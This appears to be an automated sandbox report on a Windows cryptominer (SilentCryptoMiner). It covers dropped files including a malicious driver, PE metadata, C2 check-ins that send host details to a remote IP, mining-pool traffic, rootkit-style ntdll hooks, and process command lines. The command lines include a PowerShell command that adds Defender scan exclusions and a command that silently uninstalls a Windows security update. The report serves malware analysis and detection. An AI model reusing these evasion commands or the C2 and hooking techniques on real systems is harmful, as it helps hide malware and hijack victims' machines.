Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qekbdbcu.ayg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_vard1gga.4fg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\ftnvuqwjtdwb.sys

Download File

Process:	C:\ProgramData\IGaming\driver.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: hiwA7Blv7C.exe, Detection: malicious, Browse Filename: 5fr5gthkjdg71.exe, Detection: malicious, Browse Filename: aAcx14Rjtw.exe, Detection: malicious, Browse Filename: SharcHack.exe, Detection: malicious, Browse Filename: 0Ty.png.exe, Detection: malicious, Browse Filename: Qhx6a6VLAH.exe, Detection: malicious, Browse Filename: 88aext0k.exe, Detection: malicious, Browse Filename: gaozw40v.exe, Detection: malicious, Browse Filename: c2.exe, Detection: malicious, Browse Filename: ldr.ps1, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.540079343872506
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'867'712 bytes
MD5:	a03484846e3418ffa2ab8aec97a03e88
SHA1:	54c62c97db8b0234eeb7a03d66b73f9d1dc22614
SHA256:	6932616523c8080fd908d4b776f416a4d32653e657c2cbe75a42cdc0a8b5c4d1
SHA512:	0f1661dd055e34ca4c8f37bccf1aee739be12a1c6836c0af00c0c156e59e363ce0c59f4b0e1402d4367a3d9e3babc00aa5c7e512579f9295942150539103ba8f
SSDEEP:	49152:U7N5o20VC8FlpAi4y/8t6x4EBka+Okl5lo5V5i7b6LR7QY6Vtnah:c2VCkxp8t69kBOtVebk6q
TLSH:	0BD523FF7B46431CC798007F1FA869D57118FFE81B202AC781B56BDC0E616A89AB54D2
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....?g.........."......z...D+.....@..........@............................. ,...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x673FA31D [Thu Nov 21 21:16:13 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00007ED5h]
mov dword ptr [eax], 00000001h
call 00007FA944D9918Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00007EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FA944D991B0h
dec eax
cmp edi, eax
je 00007FA944D991ABh
dec esp
mov esi, dword ptr [000096F1h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FA944D99187h
dec eax
cmp edi, eax
jne 00007FA944D99169h
dec eax
mov edi, dword ptr [00007E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FA944D9918Eh
mov ecx, 0000001Fh
call 00007FA944DA0684h
jmp 00007FA944D991A9h
cmp dword ptr [edi], 00000000h
je 00007FA944D9918Bh
mov byte ptr [002BBA71h], 00000001h
jmp 00007FA944D9919Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00007E7Ah]
dec eax
mov edx, dword ptr [00007E7Bh]
call 00007FA944DA067Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FA944D9919Bh
dec eax
mov ecx, dword ptr [00007E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa5c0	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x2be000	0x180	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c1000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x90a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa758	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7856	0x7a00	f826ece2ce317d4412103755c5d3f85a	False	0.505219006147541	data	6.1867285974059225	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x1d08	0x1e00	1650b9e0ce371324080fb99c31494d5f	False	0.4513020833333333	zlib compressed data	4.668045049109493	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x2b2bc0	0x2b1e00	4fcfbe815dfea54f25a0e6ca347f2347	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x2be000	0x180	0x200	00ec0f04901c8f887a68a550cc9ebeed	False	0.501953125	data	3.124907916476298	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x2bf000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2c0000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2c1000	0x78	0x200	310a6f420496237ff7a209835e359952	False	0.232421875	data	1.425957514287425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-04T22:58:02.999130+0100	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.5	57089	83.217.209.235	80	TCP
2025-01-04T22:58:02.999130+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.5	49704	141.94.96.144	8080	TCP
2025-01-04T22:58:13.875308+0100	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.5	59674	1.1.1.1	53	UDP
2025-01-04T22:58:19.921055+0100	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.5	49705	83.217.209.235	80	TCP
2025-01-04T22:59:18.545663+0100	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.5	57087	83.217.209.235	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 22:58:13.898458004 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:13.903283119 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:13.903477907 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:13.903613091 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:13.908379078 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:14.566293001 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:14.608273029 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:14.922724962 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:14.928738117 CET	80	49705	83.217.209.235	192.168.2.5
Jan 4, 2025 22:58:14.929078102 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:14.929846048 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:14.935733080 CET	80	49705	83.217.209.235	192.168.2.5
Jan 4, 2025 22:58:14.935831070 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:14.940949917 CET	80	49705	83.217.209.235	192.168.2.5
Jan 4, 2025 22:58:17.393083096 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:17.530122995 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:19.921055079 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:19.967566013 CET	80	49705	83.217.209.235	192.168.2.5
Jan 4, 2025 22:58:33.322398901 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:33.436394930 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:58:36.326061010 CET	80	49705	83.217.209.235	192.168.2.5
Jan 4, 2025 22:58:36.326144934 CET	49705	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:58:39.397537947 CET	56921	53	192.168.2.5	162.159.36.2
Jan 4, 2025 22:58:39.402365923 CET	53	56921	162.159.36.2	192.168.2.5
Jan 4, 2025 22:58:39.404978991 CET	56921	53	192.168.2.5	162.159.36.2
Jan 4, 2025 22:58:39.409796953 CET	53	56921	162.159.36.2	192.168.2.5
Jan 4, 2025 22:58:39.877607107 CET	56921	53	192.168.2.5	162.159.36.2
Jan 4, 2025 22:58:39.882504940 CET	53	56921	162.159.36.2	192.168.2.5
Jan 4, 2025 22:58:39.882581949 CET	56921	53	192.168.2.5	162.159.36.2
Jan 4, 2025 22:58:45.340709925 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:58:45.389332056 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:59:10.820964098 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:59:11.045610905 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:59:13.515332937 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:13.520193100 CET	80	57087	83.217.209.235	192.168.2.5
Jan 4, 2025 22:59:13.520272017 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:13.530303955 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:13.535093069 CET	80	57087	83.217.209.235	192.168.2.5
Jan 4, 2025 22:59:13.535135984 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:13.539874077 CET	80	57087	83.217.209.235	192.168.2.5
Jan 4, 2025 22:59:17.450932980 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:59:17.561057091 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:59:18.545663118 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:18.591214895 CET	80	57087	83.217.209.235	192.168.2.5
Jan 4, 2025 22:59:30.021420956 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:59:30.248558044 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:59:34.905865908 CET	80	57087	83.217.209.235	192.168.2.5
Jan 4, 2025 22:59:34.905994892 CET	57087	80	192.168.2.5	83.217.209.235
Jan 4, 2025 22:59:43.311321020 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:59:43.357891083 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 22:59:56.380270004 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 22:59:56.560939074 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 23:00:08.055403948 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 23:00:08.192651987 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 23:00:17.516058922 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 23:00:17.560795069 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 23:00:18.101805925 CET	8080	49704	141.94.96.144	192.168.2.5
Jan 4, 2025 23:00:18.154562950 CET	49704	8080	192.168.2.5	141.94.96.144
Jan 4, 2025 23:00:20.604311943 CET	57089	80	192.168.2.5	83.217.209.235
Jan 4, 2025 23:00:20.609174967 CET	80	57089	83.217.209.235	192.168.2.5
Jan 4, 2025 23:00:20.609282017 CET	57089	80	192.168.2.5	83.217.209.235
Jan 4, 2025 23:00:20.609375000 CET	57089	80	192.168.2.5	83.217.209.235
Jan 4, 2025 23:00:20.614136934 CET	80	57089	83.217.209.235	192.168.2.5
Jan 4, 2025 23:00:20.614234924 CET	57089	80	192.168.2.5	83.217.209.235
Jan 4, 2025 23:00:20.619019032 CET	80	57089	83.217.209.235	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 22:58:13.875308037 CET	59674	53	192.168.2.5	1.1.1.1
Jan 4, 2025 22:58:13.882014036 CET	53	59674	1.1.1.1	192.168.2.5
Jan 4, 2025 22:58:39.396112919 CET	53	59024	162.159.36.2	192.168.2.5
Jan 4, 2025 22:58:39.879900932 CET	56918	53	192.168.2.5	1.1.1.1
Jan 4, 2025 22:58:39.888663054 CET	53	56918	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2025 22:58:13.875308037 CET	192.168.2.5	1.1.1.1	0xf322	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false
Jan 4, 2025 22:58:39.879900932 CET	192.168.2.5	1.1.1.1	0xbf5d	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 4, 2025 22:58:13.882014036 CET	1.1.1.1	192.168.2.5	0xf322	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 4, 2025 22:58:13.882014036 CET	1.1.1.1	192.168.2.5	0xf322	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jan 4, 2025 22:58:13.882014036 CET	1.1.1.1	192.168.2.5	0xf322	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jan 4, 2025 22:58:13.882014036 CET	1.1.1.1	192.168.2.5	0xf322	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jan 4, 2025 22:58:39.888663054 CET	1.1.1.1	192.168.2.5	0xbf5d	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

83.217.209.235

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	83.217.209.235	80	528	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 22:58:14.929846048 CET	233	OUT	POST /yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 485 Content-Type: application/json Host: 83.217.209.235 User-Agent: cpp-httplib/0.12.6
Jan 4, 2025 22:58:14.935831070 CET	485	OUT	Data Raw: 7b 22 69 64 22 3a 22 6c 64 6e 64 68 6f 61 69 66 6c 6b 68 70 61 64 6c 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 30 33 35 33 34 37 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 35 31 5a 42 32 4d Data Ascii: {"id":"ldndhoaiflkhpadl","computername":"035347","username":"SYSTEM","gpu":"51ZB2MRM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.0","activewindow":"Running as System"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	57087	83.217.209.235	80	528	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 22:59:13.530303955 CET	233	OUT	POST /yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 501 Content-Type: application/json Host: 83.217.209.235 User-Agent: cpp-httplib/0.12.6
Jan 4, 2025 22:59:13.535135984 CET	501	OUT	Data Raw: 7b 22 69 64 22 3a 22 6c 64 6e 64 68 6f 61 69 66 6c 6b 68 70 61 64 6c 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 30 33 35 33 34 37 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 35 31 5a 42 32 4d Data Ascii: {"id":"ldndhoaiflkhpadl","computername":"035347","username":"SYSTEM","gpu":"51ZB2MRM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.0","activewindow":"Running as System"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	57089	83.217.209.235	80

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 23:00:20.609375000 CET	233	OUT	POST /yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 487 Content-Type: application/json Host: 83.217.209.235 User-Agent: cpp-httplib/0.12.6
Jan 4, 2025 23:00:20.614234924 CET	487	OUT	Data Raw: 7b 22 69 64 22 3a 22 6c 64 6e 64 68 6f 61 69 66 6c 6b 68 70 61 64 6c 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 30 33 35 33 34 37 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 35 31 5a 42 32 4d Data Ascii: {"id":"ldndhoaiflkhpadl","computername":"035347","username":"SYSTEM","gpu":"51ZB2MRM","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.0","activewindow":"Running as System"

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	16:58:04
Start date:	04/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff749f40000
File size:	2'867'712 bytes
MD5 hash:	A03484846E3418FFA2AB8AEC97A03E88
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:58:05
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:58:05
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:58:08
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7caad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
